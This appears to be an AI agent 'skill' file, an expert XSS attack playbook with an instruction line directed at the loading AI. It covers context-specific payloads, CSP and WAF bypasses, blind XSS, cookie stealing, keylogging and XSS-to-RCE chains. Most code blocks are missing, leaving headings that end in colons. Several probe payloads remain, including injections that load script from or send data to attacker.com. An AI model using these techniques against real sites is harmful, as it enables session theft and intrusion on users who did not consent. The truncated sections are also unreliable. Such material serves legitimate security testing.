xss-cross-site-scripting

SKILL: Cross-Site Scripting (XSS) — Expert Attack Playbook

AI LOAD INSTRUCTION: This skill covers non-obvious XSS techniques, context-specific payload selection, WAF bypass, CSP bypass, and post-exploitation. Assume the reader already knows <script>alert(1)</script> — this file only covers what base models typically miss. For real-world CVE cases, HttpOnly bypass strategies, XS-Leaks side channels, and session fixation attacks, load the companion SCENARIOS.md.

0. RELATED ROUTING

Extended Scenarios

Also load SCENARIOS.md when you need:

• Django debug page XSS (CVE-2017-12794) — duplicate key error → unescaped exception → XSS
• UTF-7 XSS for legacy IE environments (+ADw-script+AD4-)
• HttpOnly bypass methodology — proxy-the-browser, session riding, CSRF-via-XSS
• XS-Leaks side channel attacks — timing oracle, cache probing, performance.now() measurement
• Session fixation via XSS — pre-set session ID before victim login
• DOM clobbering techniques for CSP-restricted environments

Advanced Tricks

Also load ADVANCED_XSS_TRICKS.md when you need:

• mXSS / DOMPurify bypass — namespace confusion, <noscript> parsing differential, form/table restructuring
• DOM Clobbering — property override via id/name, HTMLCollection, deep property chains
• Modern framework XSS — React dangerouslySetInnerHTML, Vue v-html, Angular bypassSecurityTrust*, Next.js SSR
• Trusted Types bypass — default policy abuse, non-TT sinks, policy passthrough
• Service Worker XSS persistence — malicious SW registration, fetch interception, post-patch survival
• PDF/SVG/MathML XSS vectors, polyglot payloads, browser-specific tricks
• XS-Leaks & side channels — timing oracle, frame counting, cache probing, error event oracle

Before broad payload spraying, you can first load:

• upload insecure files when you need the full upload path: validation, storage, preview, and sharing behavior

Quick context picks

<svg onload=alert(1)>
<img src=1 onerror=alert(1)>

1. INJECTION CONTEXT MATRIX

Identify context before picking a payload. Wrong context = wasted attempts.

2. MULTI-REFLECTION ATTACKS

When input reflects in multiple places on the same page — single payload triggers from all points:

3. ADVANCED INJECTION VECTORS

DOM Insert Injection (when reflection is in DOM not source)

Input inserted via .innerHTML, document.write, jQuery .html():

For URL-controlled resource insertion:

PHP_SELF Path Injection

When URL itself is reflected in form action:

Inject between .php and ?, using leading /.

File Upload XSS

Filename injection (when filename is reflected):

SVG upload (stored XSS via image upload accepting SVG):

Metadata injection (when EXIF is reflected):

postMessage XSS (no origin check)

When page has window.addEventListener('message', ...) without origin validation:

postMessage Origin Bypass

When origin IS checked but uses .includes() or prefix match:

Attacker controls facebook.com.ATTACKER.com subdomain.

XML-Based XSS

Response has text/xml or application/xml:

Script Injection Without Closing Tag

When there IS a </script> tag later in the page:

4. CSP BYPASS TECHNIQUES

JSONP Endpoint Bypass (allow-listed domain has JSONP)

AngularJS CDN Bypass (allow-listed ajax.googleapis.com)

Angular Expressions (server encodes HTML but AngularJS evaluates)

When {{1+1}} evaluates to 2 on page — classic CSTI indicator:

base-uri Injection (CSP without base-uri restriction)

Relative <script src=...> loads from attacker's server.

DOM-based via Dangling Markup

When CSP blocks script but allows img:

Leaks subsequent page content to attacker.

5. FILTER AND WAF BYPASS

Parameter Name Attack (WAF checks value not name)

When parameter names are reflected (e.g., in JSON output):

Payload is the parameter name, not value.

Encoding Chains

Test sequence: reflect → encoding behavior → identify filter logic → mutate.

Tag Mutation (blacklist bypass)

Fragmented Injection (strip-tags bypass)

Filter strips <x>...</x>:

Vectors Without Event Handlers

6. SECOND-ORDER XSS

Definition: Input is stored (often normalized/HTML-encoded), then later retrieved and inserted into DOM without re-encoding.

Classic trigger payload (bypasses immediate HTML encoding):

Check: profile fields, display names, forum posts — anywhere data is stored, then re-rendered in a different context (e.g., admin panel vs user-facing).

Stored → Admin context XSS: most impactful — sign up with crafted username, wait for admin to view user list.

7. BLIND XSS METHODOLOGY

Every parameter that is not immediately reflected should be tested for blind XSS:

• Contact forms, feedback fields
• User-agent / referer
• Registration fields
• Error log injections

Blind XSS callback payload (remote JS file approach):

Minimal collector (hosted at bxss.js):

Use XSS Hunter or similar blind XSS platform for automated collection.

8. XSS EXPLOITATION CHAIN

Cookie Steal

Keylogger

CSRF via XSS (bypasses CSRF protection, reads CSRF token from DOM)

WordPress XSS → RCE (admin session + Hello Dolly plugin):

Browser Remote Control (JS command shell)

9. DECISION TREE

10. XSS TESTING PROCESS (ZSEANO METHOD)

1. Step 1 — Test non-malicious tags: <h2>, <img>, <table> — are they reflected raw?
2. Step 2 — Test incomplete tags: <iframe src=//attacker.com/c= (no closing >)
3. Step 3 — Encoding probes: <%00h2, %0d, %0a, %09, %253C
4. Step 4 — If filtering <script> and onerror but NOT <script (without close): <script src=//attacker.com?c=
5. Step 5 — Blacklist check: does <svg> work? Does <ScRiPt> work?
6. Note: the same filter likely exists elsewhere — if they filter <script> in search, do they filter it in file upload filename? In profile bio?

Key insight: Filter presence = vulnerability exists, developer tried to patch. Chase that thread across the entire application.